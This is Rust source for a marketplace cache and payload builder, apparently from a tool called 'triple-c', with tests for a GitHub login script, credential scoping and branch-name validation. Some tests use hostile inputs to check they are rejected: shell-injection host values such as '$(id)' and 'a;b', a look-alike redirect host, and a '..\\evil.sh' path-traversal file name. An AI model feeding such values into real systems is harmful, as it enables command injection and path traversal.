let (r, _) = drive(frames, Keys::default(), &mut cancel, far()).await;
assert!(r.unwrap_err().contains("Lost the connection"));
}
#[tokio::test(start_paused = true)]
async fn a_failed_enter_is_a_failure() {
let keys = Keys {
broken: true,
..Default::default()
};
let (_tx, mut cancel) = oneshot::channel();
let frames = stream::iter(vec![out(PROMPT)]);
let (r, _) = drive(frames, keys, &mut cancel, far()).await;
assert!(r.unwrap_err().contains("Could not answer"));
}
#[tokio::test]
async fn a_cancel_is_a_failure() {
let (tx, mut cancel) = oneshot::channel();
tx.send(()).unwrap();
let (r, _) = drive(stream::pending(), Keys::default(), &mut cancel, far()).await;
assert!(r.unwrap_err().contains("cancelled"));
}
#[tokio::test(start_paused = true)]
async fn a_timeout_is_a_failure() {
let (_tx, mut cancel) = oneshot::channel();
let deadline = tokio::time::Instant::now() + Duration::from_secs(1);
let (r, _) = drive(stream::pending(), Keys::default(), &mut cancel, deadline).await;
assert!(r.unwrap_err().contains("Timed out"));
}
}
/// The script end to end against a stand-in `gh`, as a login would run it
/// inside the container (minus Docker).
#[cfg(unix)]
mod script {
use super::super::*;
use std::os::unix::fs::PermissionsExt;
use std::path::{Path, PathBuf};
use std::process::{Command, Stdio};
/// A fake `gh` that records its environment into `log_dir` and prints
/// the fixture token for `auth token`. `login_body` runs for `auth login`.
fn fake_gh(dir: &Path, log_dir: &Path, login_body: &str) -> PathBuf {
let bin = dir.join("bin");
std::fs::create_dir_all(&bin).unwrap();
let gh = bin.join("gh");
std::fs::write(
&gh,
format!(
"#!/bin/sh\n\
log='{log}'\n\
case \"$1 $2\" in\n\
'auth login')\n\
printf '%s\\n' \"$GH_CONFIG_DIR\" > \"$log/config_dir\"\n\
printf '%s\\n' \"$GIT_CONFIG_GLOBAL\" > \"$log/git_config\"\n\
printf '%s\\n' \"$BROWSER\" > \"$log/browser\"\n\
printf '%s\\n' \"$*\" > \"$log/args\"\n\
echo 'token-in-config' > \"$GH_CONFIG_DIR/hosts.yml\"\n\
{login}\n\
;;\n\
'auth token') echo test-token-not-real ;;\n\
*) exit 9 ;;\n\
esac\n",
log = log_dir.display(),
login = login_body,
),
)
.unwrap();
std::fs::set_permissions(&gh, std::fs::Permissions::from_mode(0o755)).unwrap();
bin
}
fn script_command(bin: &Path, tmp: &Path, host: &str) -> Command {
let mut cmd = Command::new("sh");
cmd.arg("-c")
.arg(GH_LOGIN_SCRIPT)
.arg("triple-c-gh-login")
.arg(host)
.env(
"PATH",
format!("{}:{}", bin.display(), std::env::var("PATH").unwrap()),
)
.env("TMPDIR", tmp);
cmd
}
fn read(p: PathBuf) -> String {
std::fs::read_to_string(p).unwrap().trim().to_string()
}
#[test]
fn the_token_comes_back_and_the_temp_config_is_gone() {
let root = tempfile::tempdir().unwrap();
let log = root.path().join("log");
let tmp = root.path().join("tmp");
std::fs::create_dir_all(&log).unwrap();
std::fs::create_dir_all(&tmp).unwrap();
let bin = fake_gh(root.path(), &log, "echo '✓ Logged in'");
let out = script_command(&bin, &tmp, "github.com").output().unwrap();
assert!(
out.status.success(),
"{}",
String::from_utf8_lossy(&out.stderr)
);
let stdout = String::from_utf8_lossy(&out.stdout);
assert_eq!(
extract_token(&stdout),
Some("test-token-not-real".to_string())
);
let config_dir = read(log.join("config_dir"));
assert!(
config_dir.starts_with(tmp.to_str().unwrap()),
"{config_dir}"
);
assert!(
!Path::new(&config_dir).exists(),
"temp GH_CONFIG_DIR left behind"
);
assert_eq!(
read(log.join("git_config")),
format!("{config_dir}/gitconfig")
);
assert_eq!(read(log.join("browser")), "true");
assert_eq!(
read(log.join("args")),
"auth login --hostname github.com --web --git-protocol ssh --skip-ssh-key --scopes repo"
);
assert_eq!(std::fs::read_dir(&tmp).unwrap().count(), 0);
}
#[test]
fn the_script_refuses_a_bad_host_on_its_own() {
let root = tempfile::tempdir().unwrap();
let log = root.path().join("log");
std::fs::create_dir_all(&log).unwrap();
let bin = fake_gh(root.path(), &log, "true");
for bad in ["", "-x", "a;b", "$(id)", "a:1"] {
let out = script_command(&bin, root.path(), bad).output().unwrap();
assert_eq!(out.status.code(), Some(2), "{bad:?}");
assert!(!log.join("args").exists(), "gh ran for {bad:?}");
}
}
/// Pre-flight N9: a cancel `pkill`s the login; the temp config must
/// still be removed when the script dies by signal.
#[test]
fn a_killed_login_still_removes_the_temp_config() {
use std::os::unix::process::CommandExt;
let root = tempfile::tempdir().unwrap();
let log = root.path().join("log");
let tmp = root.path().join("tmp");
std::fs::create_dir_all(&log).unwrap();
std::fs::create_dir_all(&tmp).unwrap();
let bin = fake_gh(root.path(), &log, "touch \"$log/started\"; sleep 30");
let mut child = script_command(&bin, &tmp, "github.com")
.stdout(Stdio::null())
.stderr(Stdio::null())
.process_group(0)
.spawn()
.unwrap();
let started = log.join("started");
for _ in 0..200 {
if started.exists() {
break;
}
std::thread::sleep(std::time::Duration::from_millis(25));
}
assert!(started.exists(), "fake gh never started");
let config_dir = read(log.join("config_dir"));
assert!(Path::new(&config_dir).exists());
// Like `pkill -f`, which matches both the script and gh.
let pgid = child.id().to_string();
let killed = Command::new("kill")
.args(["-s", "TERM", "--", &format!("-{pgid}")])
.status()
.unwrap();
assert!(killed.success(), "kill failed");
let sent = std::time::Instant::now();
child.wait().unwrap();
assert!(
sent.elapsed() < std::time::Duration::from_secs(10),
"the script outlived the signal"
);
assert!(
!Path::new(&config_dir).exists(),
"temp GH_CONFIG_DIR left behind"
);
}
}
}
+717
View File
@@ -0,0 +1,717 @@
//! The marketplace cache: one bare `gix` repository per marketplace.
//!
//! Everything here is blocking — call it from `tokio::task::spawn_blocking`.
//! Credentials are handed to gix through its credential callback for the
//! duration of one fetch and are never written to disk or into the repo
//! config.
use std::path::{Path, PathBuf};
use std::sync::atomic::AtomicBool;
/// The ref the fetched branch tip is stored under.
pub const HEAD_REF: &str = "refs/triple-c/head";
/// Prefix of the refs that keep pinned commits alive.
pub const PIN_PREFIX: &str = "refs/triple-c/pins/";
#[derive(Clone)]
pub struct Credential {
pub username: String,
pub password: String,
}
impl std::fmt::Debug for Credential {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
f.debug_struct("Credential")
.field("username", &self.username)
.field("password", &"<redacted>")
.finish()
}
}
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum FetchError {
/// 401 / 403, or gix's "credentials … were not accepted" / "no
/// credentials were returned" (anonymous fetch of a private repo).
Auth {
status: u16,
},
/// 404 / "repository not found".
NotFound,
Network(String),
Other(String),
}
impl std::fmt::Display for FetchError {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
match self {
FetchError::Auth { status } => write!(f, "access denied (HTTP {})", status),
FetchError::NotFound => write!(f, "repository not found"),
FetchError::Network(m) => write!(f, "network error: {}", m),
FetchError::Other(m) => write!(f, "{}", m),
}
}
}
/// Classify a gix error by its Debug-formatted chain. gix wraps transport
/// errors several layers deep and some layers are not `std::error::Error`,
/// so the text is the one stable thing to match on.
pub fn classify_fetch_error(chain: &str) -> FetchError {
let lower = chain.to_ascii_lowercase();
if lower.contains("http status 401")
|| lower.contains("not accepted by the remote")
// GitHub and GitLab answer an anonymous fetch of a private (or
// missing) repo with a credential challenge; with no credential
// callback result gix reports this (pre-flight F2).
|| lower.contains("no credentials were returned")
{
return FetchError::Auth { status: 401 };
}
if lower.contains("http status 403") {
return FetchError::Auth { status: 403 };
}
if lower.contains("http status 404") || lower.contains("repository not found") {
return FetchError::NotFound;
}
const NETWORK: &[&str] = &[
"dns error",
"resolving dns",
"failed to lookup address",
"connection refused",
"connection reset",
"timed out",
"timeout",
"network is unreachable",
"no route to host",
"error sending request",
"tcp connect error",
];
if NETWORK.iter().any(|needle| lower.contains(needle)) {
// The outermost line is a generic "Transport handshake failed"; the
// innermost `└─` line names the actual cause.
let cause = chain
.lines()
.filter_map(|l| l.trim_start().strip_prefix("└─"))
.next_back()
.unwrap_or(chain);
return FetchError::Network(first_line(cause));
}
FetchError::Other(first_line(chain))
}
/// First line of `chain`, without gix's `", at <source path>:<line>"` suffix,
/// capped at 300 characters.
fn first_line(chain: &str) -> String {
let line = chain.lines().next().unwrap_or("");
let line = line.split(", at /").next().unwrap_or(line);
line.trim().chars().take(300).collect()
}
fn classify<E: std::fmt::Debug>(e: E) -> FetchError {
classify_fetch_error(&format!("{:?}", e))
}
pub fn cache_path(data_root: &Path, marketplace_id: &str) -> PathBuf {
data_root
.join("marketplaces")
.join(format!("{}.git", marketplace_id))
}
/// Branch names that are safe inside a refspec. Stricter than git's own
/// rules on purpose: nothing that could change the refspec's meaning.
/// `pub(crate)` so the add-marketplace form validates with this same rule
/// (pre-flight F13).
pub(crate) fn valid_branch(branch: &str) -> bool {
!branch.is_empty()
&& branch.len() <= 200
&& !branch.starts_with('-')
&& !branch.starts_with('/')
&& !branch.ends_with('/')
&& !branch.ends_with(".lock")
&& !branch.contains("..")
&& !branch.contains("//")
&& branch
.bytes()
.all(|b| b.is_ascii_alphanumeric() || matches!(b, b'-' | b'_' | b'.' | b'/'))
}
fn open_or_init(repo_path: &Path) -> Result<gix::Repository, FetchError> {
if repo_path.exists() {
gix::open(repo_path)
.map_err(|e| FetchError::Other(format!("Could not open the marketplace cache: {}", e)))
} else {
if let Some(parent) = repo_path.parent() {
std::fs::create_dir_all(parent).map_err(|e| {
FetchError::Other(format!("Could not create {}: {}", parent.display(), e))
})?;
}
gix::init_bare(repo_path).map_err(|e| {
FetchError::Other(format!("Could not create the marketplace cache: {}", e))
})
}
}
/// `(scheme, host[:port])` of a credential request, lowercased, with a
/// default port dropped (gix's own normalisation). None if it names no host.
fn credential_origin(ctx: &gix::credentials::protocol::Context) -> Option<(String, String)> {
let mut ctx = ctx.clone();
ctx.destructure_url_in_place(false).ok()?;
let protocol = ctx.protocol?.to_ascii_lowercase();
let host = ctx.host?.to_ascii_lowercase();
(!host.is_empty()).then_some((protocol, host))
}
/// True when a credential request is for the marketplace's own scheme, host
/// and port. gix follows redirects of the initial handshake, and the token
/// must never be offered to a host it was redirected to (final review M1).
pub(crate) fn credential_matches(ctx: &gix::credentials::protocol::Context, url: &str) -> bool {
let wanted = gix::credentials::protocol::Context::from_url(url, Default::default());
match (credential_origin(ctx), credential_origin(&wanted)) {
(Some(asked), Some(wanted)) => asked == wanted,
_ => false,
}
}
/// Init the bare repo if missing, fetch `branch` (or the remote's default
/// branch) into [`HEAD_REF`], and return the head commit hex.
pub fn fetch(
repo_path: &Path,
url: &str,
branch: Option<&str>,
cred: Option<Credential>,
) -> Result<String, FetchError> {
let refspec = match branch {
Some(b) if !valid_branch(b) => {
return Err(FetchError::Other(format!(
"{:?} is not a valid branch name",
b
)));
}
Some(b) => format!("+refs/heads/{}:{}", b, HEAD_REF),
None => format!("+HEAD:{}", HEAD_REF),
};
let repo = open_or_init(repo_path)?;
let remote = repo
.remote_at(url)
.map_err(|e| FetchError::Other(format!("Invalid repository URL: {}", e)))?
.with_refspecs([refspec.as_str()], gix::remote::Direction::Fetch)
.map_err(|e| FetchError::Other(format!("Invalid refspec: {}", e)))?;
let own_url = url.to_string();
let connection = remote
.connect(gix::remote::Direction::Fetch)
.map_err(classify)?
.with_credentials(move |action| match (action, &cred) {
(gix::credentials::helper::Action::Get(ctx), Some(c))
if credential_matches(&ctx, &own_url) =>
{
Ok(Some(gix::credentials::protocol::Outcome {
identity: gix::sec::identity::Account {
username: c.username.clone(),
password: c.password.clone(),
oauth_refresh_token: None,
},
next: gix::credentials::helper::NextAction::from(ctx),
}))
}
_ => Ok(None),
});
connection
.prepare_fetch(gix::progress::Discard, Default::default())
.map_err(classify)?
.receive(gix::progress::Discard, &AtomicBool::new(false))
.map_err(classify)?;
cached_head(repo_path)
.map_err(FetchError::Other)?
.ok_or_else(|| FetchError::Other("The remote did not return a branch to fetch".to_string()))
}
/// Current [`HEAD_REF`], if fetched before.
pub fn cached_head(repo_path: &Path) -> Result<Option<String>, String> {
if !repo_path.exists() {
return Ok(None);
}
let repo =
gix::open(repo_path).map_err(|e| format!("Could not open the marketplace cache: {}", e))?;
let reference = repo
.try_find_reference(HEAD_REF)
.map_err(|e| format!("Could not read {}: {}", HEAD_REF, e))?;
match reference {
None => Ok(None),
Some(mut r) => {
let id = r
.peel_to_id()
.map_err(|e| format!("Could not resolve {}: {}", HEAD_REF, e))?;
Ok(Some(id.to_string()))
}
}
}
pub fn has_commit(repo_path: &Path, commit: &str) -> bool {
let Ok(repo) = gix::open(repo_path) else {
return false;
};
let Ok(oid) = gix::ObjectId::from_hex(commit.as_bytes()) else {
return false;
};
// Bound before returning: the `Result<Commit<'_>>` temporary borrows
// `repo` and must drop first (pre-flight F1, E0597 as a tail expression).
let found = repo.find_commit(oid).is_ok();
found
}
/// Make `refs/triple-c/pins/*` exactly the given set (commits missing from
/// the cache are skipped), so pinned commits survive later fetches.
pub fn set_pins(repo_path: &Path, commits: &[String]) -> Result<(), String> {
let repo =
gix::open(repo_path).map_err(|e| format!("Could not open the marketplace cache: {}", e))?;
let wanted: std::collections::BTreeSet<&str> = commits.iter().map(String::as_str).collect();
let mut existing = Vec::new();
let platform = repo
.references()
.map_err(|e| format!("Could not list refs: {}", e))?;
for reference in platform
.prefixed(PIN_PREFIX)
.map_err(|e| format!("Could not list pins: {}", e))?
{
let reference = reference.map_err(|e| format!("Could not read a pin: {:?}", e))?;
existing.push(reference.name().as_bstr().to_string());
}
for name in &existing {
let commit = name.trim_start_matches(PIN_PREFIX);
if !wanted.contains(commit) {
if let Some(r) = repo
.try_find_reference(name.as_str())
.map_err(|e| format!("Could not read {}: {}", name, e))?
{
r.delete()
.map_err(|e| format!("Could not remove {}: {}", name, e))?;
}
}
}
for commit in wanted {
let name = format!("{}{}", PIN_PREFIX, commit);
if existing.contains(&name) {
continue;
}
let Ok(oid) = gix::ObjectId::from_hex(commit.as_bytes()) else {
continue;
};
if repo.find_commit(oid).is_err() {
continue;
}
repo.reference(
name.as_str(),
oid,
gix::refs::transaction::PreviousValue::Any,
"triple-c pin",
)
.map_err(|e| format!("Could not pin {}: {}", commit, e))?;
}
Ok(())
}
#[cfg(test)]
pub(crate) mod test_support {
//! Fixture repos built with the git CLI. Tests that need one call
//! [`git_available`] first and return early without it.
use std::path::Path;
use std::process::Command;
pub fn git_available() -> bool {
Command::new("git")
.arg("--version")
.output()
.map(|o| o.status.success())
.unwrap_or(false)
}
pub fn git(dir: &Path, args: &[&str]) -> String {
let out = Command::new("git")
.args([
"-c",
"user.name=t",
"-c",
"user.email=t@example.invalid",
"-c",
"init.defaultBranch=main",
])
.args(args)
.current_dir(dir)
.output()
.expect("git runs");
assert!(
out.status.success(),
"git {:?}: {}",
args,
String::from_utf8_lossy(&out.stderr)
);
String::from_utf8_lossy(&out.stdout).trim().to_string()
}
/// Write `files` (path, contents, executable) into a new repo and commit.
pub fn init_repo(dir: &Path, files: &[(&str, &str, bool)]) -> String {
git(dir, &["init", "-q"]);
commit_files(dir, files, "initial")
}
pub fn commit_files(dir: &Path, files: &[(&str, &str, bool)], message: &str) -> String {
for (path, contents, exec) in files {
let full = dir.join(path);
std::fs::create_dir_all(full.parent().unwrap()).unwrap();
std::fs::write(&full, contents).unwrap();
#[cfg(unix)]
if *exec {
use std::os::unix::fs::PermissionsExt;
std::fs::set_permissions(&full, std::fs::Permissions::from_mode(0o755)).unwrap();
}
#[cfg(not(unix))]
let _ = exec;
}
git(dir, &["add", "-A"]);
git(dir, &["commit", "-q", "-m", message]);
git(dir, &["rev-parse", "HEAD"])
}
pub fn file_url(dir: &Path) -> String {
format!("file://{}", dir.display())
}
}
#[cfg(test)]
mod tests {
use super::test_support::*;
use super::*;
use crate::marketplace::tree::{GitTree, TreeView};
#[test]
fn fetch_error_mapping() {
let cases = [
("Credentials provided for \"https://x\" were not accepted by the remote\n└─ Received HTTP status 401", FetchError::Auth { status: 401 }),
("handshake\n└─ Received HTTP status 403", FetchError::Auth { status: 403 }),
("└─ Received HTTP status 404", FetchError::NotFound),
("remote: Repository not found.", FetchError::NotFound),
// What gix actually reports for an anonymous fetch of a private
// (or missing) GitHub/GitLab repo (pre-flight F2).
(
"No credentials were returned at all as if the credential helper isn't functioning unknowingly, at /home/u/.cargo/registry/src/index/gix-protocol-0.1/src/handshake/function.rs:70",
FetchError::Auth { status: 401 },
),
];
for (text, want) in cases {
assert_eq!(classify_fetch_error(text), want, "{}", text);
}
assert!(matches!(
classify_fetch_error("error sending request\n└─ dns error: failed to lookup address"),
FetchError::Network(_)
));
assert!(matches!(
classify_fetch_error("operation timed out"),
FetchError::Network(_)
));
assert!(matches!(
classify_fetch_error("something odd"),
FetchError::Other(_)
));
}
#[test]
fn fetch_error_text_drops_source_locations_and_names_the_network_cause() {
// Pre-flight F2: gix appends ", at <cargo registry path>:<line>";
// the innermost `└─` line is the useful network cause.
let chain = "Transport handshake failed, at /home/u/.cargo/registry/src/x/handshake/function.rs:40\n\
├─ An IO error occurred when talking to the server, at /home/u/.cargo/y.rs:12\n\
└─ error resolving DNS, at /home/u/.cargo/z.rs:9";
assert_eq!(
classify_fetch_error(chain),
FetchError::Network("error resolving DNS".to_string())
);
let refused = "Transport handshake failed, at /home/u/.cargo/a.rs:1\n└─ Connection refused (os error 111)";
assert_eq!(
classify_fetch_error(refused),
FetchError::Network("Connection refused (os error 111)".to_string())
);
assert_eq!(
classify_fetch_error("Something odd, at /home/u/.cargo/b.rs:3\n└─ deeper"),
FetchError::Other("Something odd".to_string())
);
}
#[test]
fn credential_debug_never_shows_the_password() {
let c = Credential {
username: "u".into(),
password: "test-token-not-real".into(),
};
let shown = format!("{:?}", c);
assert!(!shown.contains("test-token-not-real"));
assert!(shown.contains("<redacted>"));
}
/// Final review M1: the token goes only to the marketplace's own scheme,
/// host and port — never to a host the handshake was redirected to.
#[test]
fn credentials_are_offered_only_to_the_marketplace_host() {
use gix::credentials::protocol::Context;
let url = "https://git.example.com/org/repo.git";
let ctx = |u: &str| Context::from_url(u, Default::default());
assert!(credential_matches(&ctx(url), url));
assert!(credential_matches(
&ctx("https://git.example.com/other/path.git"),
url
));
assert!(credential_matches(
&ctx("https://GIT.example.com/org/repo.git"),
url
));
assert!(credential_matches(
&ctx("https://git.example.com:443/org/repo.git"),
url
));
for other in [
"https://evil.example.net/org/repo.git",
"https://git.example.com.evil.net/org/repo.git",
"https://git.example.com:8443/org/repo.git",
"http://git.example.com/org/repo.git",
] {
assert!(!credential_matches(&ctx(other), url), "{other}");
}
let with_port = "https://git.example.com:8443/org/repo.git";
assert!(credential_matches(&ctx(with_port), with_port));
assert!(!credential_matches(&ctx(url), with_port));
// A request that names no host gets nothing.
assert!(!credential_matches(&Context::default(), url));
let host_only = Context {
protocol: Some("https".into()),
host: Some("git.example.com".into()),
..Default::default()
};
assert!(credential_matches(&host_only, url));
}
#[test]
fn refuses_unsafe_branch_names() {
let dir = tempfile::tempdir().unwrap();
for bad in ["-x", "a..b", "a b", "a:b", "x*", "a.lock", ""] {
let err = fetch(
&dir.path().join("c.git"),
"file:///nowhere",
Some(bad),
None,
)
.unwrap_err();
assert!(
matches!(err, FetchError::Other(ref m) if m.contains("branch")),
"{bad:?}: {err:?}"
);
}
}
#[test]
fn valid_branch_accepts_ordinary_names() {
// pub(crate) so the add-marketplace form validates with the same rule
// the fetch applies (pre-flight F13).
for good in ["main", "release/1.2", "feature_x", "v2.0-rc.1"] {
assert!(valid_branch(good), "{good:?}");
}
for bad in [
"/main", "main/", "a//b", "x.lock", "-x", "a..b", "a b", "a\\b",
] {
assert!(!valid_branch(bad), "{bad:?}");
}
}
#[test]
fn fetches_default_branch_then_updates() {
if !git_available() {
return;
}
let src = tempfile::tempdir().unwrap();
let first = init_repo(
src.path(),
&[
("agents/a.md", "one", false),
("hooks/h/run.sh", "#!/bin/sh", true),
],
);
let cache = tempfile::tempdir().unwrap();
let repo = cache_path(cache.path(), "m1");
assert_eq!(cached_head(&repo).unwrap(), None);
let head = fetch(&repo, &file_url(src.path()), None, None).unwrap();
assert_eq!(head, first);
assert_eq!(cached_head(&repo).unwrap(), Some(first.clone()));
assert!(has_commit(&repo, &first));
let tree = GitTree::open(&repo, &first).unwrap();
assert_eq!(
tree.read_file("agents/a.md", 1024).unwrap().unwrap(),
b"one"
);
let hook = tree.list_dir("hooks/h").unwrap().unwrap();
assert!(hook[0].executable);
assert!(tree.entry_id("agents/a.md").unwrap().is_some());
assert_eq!(tree.list_dir("agents/a.md").unwrap(), None);
let second = commit_files(src.path(), &[("agents/a.md", "two", false)], "second");
assert_eq!(
fetch(&repo, &file_url(src.path()), None, None).unwrap(),
second
);
// The old commit is still readable after the update.
assert_eq!(
GitTree::open(&repo, &first)
.unwrap()
.read_file("agents/a.md", 1024)
.unwrap()
.unwrap(),
b"one"
);
}
#[test]
fn fetches_a_named_branch() {
if !git_available() {
return;
}
let src = tempfile::tempdir().unwrap();
init_repo(src.path(), &[("a.md", "main", false)]);
git(src.path(), &["checkout", "-q", "-b", "next"]);
let next = commit_files(src.path(), &[("a.md", "next", false)], "next");
git(src.path(), &["checkout", "-q", "main"]);
let cache = tempfile::tempdir().unwrap();
let repo = cache_path(cache.path(), "m1");
assert_eq!(
fetch(&repo, &file_url(src.path()), Some("next"), None).unwrap(),
next
);
}
#[test]
fn missing_repo_is_an_error_not_a_panic() {
let cache = tempfile::tempdir().unwrap();
let err = fetch(
&cache_path(cache.path(), "m"),
"file:///definitely/not/here",
None,
None,
)
.unwrap_err();
assert!(!matches!(err, FetchError::Auth { .. }), "{err:?}");
}
#[test]
fn refused_connection_is_a_network_error_without_source_paths() {
// Port 1 on loopback: refused immediately, no real network involved.
let cache = tempfile::tempdir().unwrap();
let err = fetch(
&cache_path(cache.path(), "m"),
"https://127.0.0.1:1/x.git",
None,
None,
)
.unwrap_err();
match err {
FetchError::Network(m) => assert!(!m.contains(", at /"), "{m}"),
other => panic!("expected a network error, got {other:?}"),
}
}
#[test]
fn has_commit_is_false_for_unknown_or_malformed_ids() {
if !git_available() {
return;
}
let src = tempfile::tempdir().unwrap();
init_repo(src.path(), &[("x", "1", false)]);
let cache = tempfile::tempdir().unwrap();
let repo = cache_path(cache.path(), "m");
fetch(&repo, &file_url(src.path()), None, None).unwrap();
assert!(!has_commit(&repo, &"f".repeat(40)));
assert!(!has_commit(&repo, "not-hex"));
assert!(!has_commit(
&cache.path().join("absent.git"),
&"f".repeat(40)
));
}
#[test]
fn pins_are_exactly_the_requested_set() {
if !git_available() {
return;
}
let src = tempfile::tempdir().unwrap();
let a = init_repo(src.path(), &[("x", "1", false)]);
let b = commit_files(src.path(), &[("x", "2", false)], "b");
let cache = tempfile::tempdir().unwrap();
let repo = cache_path(cache.path(), "m");
fetch(&repo, &file_url(src.path()), None, None).unwrap();
set_pins(&repo, &[a.clone(), b.clone(), "f".repeat(40)]).unwrap();
let pins = |repo: &Path| -> Vec<String> {
let r = gix::open(repo).unwrap();
let mut names: Vec<String> = r
.references()
.unwrap()
.prefixed(PIN_PREFIX)
.unwrap()
.map(|x| x.unwrap().name().as_bstr().to_string())
.collect();
names.sort();
names
};
let mut want = vec![
format!("{}{}", PIN_PREFIX, a),
format!("{}{}", PIN_PREFIX, b),
];
want.sort();
assert_eq!(pins(&repo), want);
set_pins(&repo, std::slice::from_ref(&b)).unwrap();
assert_eq!(pins(&repo), vec![format!("{}{}", PIN_PREFIX, b)]);
}
#[test]
fn git_tree_entry_with_a_backslash_marks_the_item_invalid() {
// Task 3 review: a real git tree (not MemTree) whose entry name
// contains `\` must make the catalog reject the item. git itself
// refuses `/` in names, so `\` is the separator that can get through.
if !git_available() {
return;
}
let src = tempfile::tempdir().unwrap();
init_repo(src.path(), &[("skills/ok/SKILL.md", "fine", false)]);
let evil = commit_files(
src.path(),
&[
("skills/s/SKILL.md", "x", false),
("skills/s/..\\evil.sh", "boom", false),
],
"evil",
);
let cache = tempfile::tempdir().unwrap();
let repo = cache_path(cache.path(), "m");
assert_eq!(
fetch(&repo, &file_url(src.path()), None, None).unwrap(),
evil
);
let tree = GitTree::open(&repo, &evil).unwrap();
let names: Vec<String> = tree
.list_dir("skills/s")
.unwrap()
.unwrap()
.into_iter()
.map(|e| e.name)
.collect();
assert!(names.contains(&"..\\evil.sh".to_string()), "{names:?}");
let items = crate::marketplace::catalog::parse_catalog(&tree);
let skill = items.iter().find(|i| i.key == "s").unwrap();
assert!(skill.invalid.is_some(), "{skill:?}");
let ok = items.iter().find(|i| i.key == "ok").unwrap();
assert!(ok.invalid.is_none(), "{ok:?}");
}
}
File diff suppressed because it is too large Load Diff
+561
View File
@@ -0,0 +1,561 @@
//! Builds the tar a project's container receives: every effective install's
//! files, read from the cache at its pinned commit, plus `manifest.json` and a
//! generated Claude Code catalog per marketplace that contributes plugins.
//! Layout: see the Interface Contract in the plan / spec §4. The tar carries
//! no directory entries — the sync script's extraction (plus its umask)
//! creates them.
use std::collections::{BTreeMap, BTreeSet};
use std::path::Path;
use serde_json::{json, Value};
use super::catalog::{item_files, plugin_catalog_entry, rendered_hook_settings, ItemFile};
use super::git;
use super::tree::GitTree;
use crate::models::marketplace::{
is_valid_commit, is_valid_item_key, marketplace_slug, ItemKind, Marketplace,
MarketplaceInstall, SkippedItem,
};
pub struct PayloadInput<'a> {
pub installs: &'a [MarketplaceInstall],
pub marketplaces: &'a [Marketplace],
/// data root used to find caches (see git::cache_path)
pub data_root: &'a Path,
}
pub struct Payload {
pub tar: Vec<u8>,
pub manifest: Value,
pub skipped: Vec<SkippedItem>,
}
/// A relative path from `item_files` is joined under a directory we chose, so
/// it must not be able to climb out of it. The catalog already refuses such
/// entries; this is the second line.
fn safe_rel(rel: &str) -> bool {
!rel.is_empty()
&& !rel.starts_with('/')
&& !rel.contains('\\')
&& rel
.split('/')
.all(|seg| !seg.is_empty() && seg != "." && seg != "..")
}
struct TarWriter {
builder: tar::Builder<Vec<u8>>,
mtime: u64,
}
impl TarWriter {
fn new() -> Self {
let mtime = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.map(|d| d.as_secs())
.unwrap_or(0);
Self {
builder: tar::Builder::new(Vec::new()),
mtime,
}
}
fn file(&mut self, path: &str, data: &[u8], executable: bool) -> Result<(), String> {
let mut header = tar::Header::new_gnu();
header.set_size(data.len() as u64);
header.set_mode(if executable { 0o755 } else { 0o644 });
header.set_mtime(self.mtime);
header.set_entry_type(tar::EntryType::Regular);
self.builder
.append_data(&mut header, path, data)
.map_err(|e| format!("Could not add {path} to the marketplace payload: {e}"))
}
fn finish(self) -> Result<Vec<u8>, String> {
self.builder
.into_inner()
.map_err(|e| format!("Could not finish the marketplace payload: {e}"))
}
}
struct PluginGroup {
entries: Vec<Value>,
keys: Vec<String>,
}
/// Files of one install, validated for use as payload paths.
fn install_files(
repo: &Path,
inst: &MarketplaceInstall,
) -> Result<(GitTree, Vec<ItemFile>), String> {
let tree = GitTree::open(repo, &inst.commit)?;
let files = item_files(&tree, inst.kind, &inst.key)?;
if let Some(bad) = files.iter().find(|f| !safe_rel(&f.rel_path)) {
return Err(format!("contains an unsafe path ({})", bad.rel_path));
}
Ok((tree, files))
}
pub fn build_payload(input: &PayloadInput) -> Result<Payload, String> {
let mut tar = TarWriter::new();
let mut items: Vec<Value> = Vec::new();
let mut skipped: Vec<SkippedItem> = Vec::new();
// State ids (see sync.sh) of installs the host could not build this time:
// the container keeps what it has for them instead of treating them as
// deselected (final review M3). Only a removed source really removes.
let mut held: BTreeSet<String> = BTreeSet::new();
let mut plugin_groups: BTreeMap<String, PluginGroup> = BTreeMap::new();
// Non-plugin items share one namespace in ~/.claude; plugins are namespaced
// by their per-marketplace catalog, so they never collide.
let mut taken: BTreeSet<(ItemKind, String)> = BTreeSet::new();
for inst in input.installs {
let label = format!("{}:{}", inst.kind.as_str(), inst.key);
let mut skip = |reason: String| {
skipped.push(SkippedItem {
item: label.clone(),
reason,
})
};
let Some(m) = input
.marketplaces
.iter()
.find(|m| m.id == inst.marketplace_id)
else {
skip("its marketplace has been removed".to_string());
continue;
};
let state_id = match inst.kind {
ItemKind::Plugin => format!("plugin:{}/{}", marketplace_slug(&m.id), inst.key),
_ => label.clone(),
};
let mut hold = |reason: String| {
held.insert(state_id.clone());
skip(reason)
};
if !is_valid_item_key(&inst.key) {
skip("the saved install entry is invalid".to_string());
continue;
}
if !is_valid_commit(&inst.commit) {
hold("the saved install entry is invalid".to_string());
continue;
}
if inst.kind != ItemKind::Plugin && taken.contains(&(inst.kind, inst.key.clone())) {
skip(format!(
"another marketplace's {label} is already installed"
));
continue;
}
let repo = git::cache_path(input.data_root, &m.id);
if !git::has_commit(&repo, &inst.commit) {
hold(format!(
"pinned commit {} is not in the local cache of \"{}\" — refresh the marketplace",
&inst.commit[..8],
m.name
));
continue;
}
let (tree, files) = match install_files(&repo, inst) {
Ok(v) => v,
Err(e) => {
hold(e);
continue;
}
};
let key = &inst.key;
let mut item = json!({
"kind": inst.kind.as_str(),
"key": key,
"marketplace": m.id,
"commit": inst.commit,
});
match inst.kind {
ItemKind::Agent | ItemKind::Command => {
let dir = if inst.kind == ItemKind::Agent {
"agents"
} else {
"commands"
};
let Some(f) = files.first() else {
hold("has no files".to_string());
continue;
};
let path = format!("{dir}/{key}.md");
tar.file(&path, &f.data, false)?;
item["file"] = json!(path);
}
ItemKind::Skill | ItemKind::Hook => {
let dir = if inst.kind == ItemKind::Skill {
format!("skills/{key}")
} else {
format!("hooks/{key}")
};
if inst.kind == ItemKind::Hook {
match rendered_hook_settings(&tree, key) {
Ok(settings) => item["settings"] = settings,
Err(e) => {
hold(e);
continue;
}
}
}
for f in &files {
tar.file(&format!("{dir}/{}", f.rel_path), &f.data, f.executable)?;
}
item["dir"] = json!(dir);
}
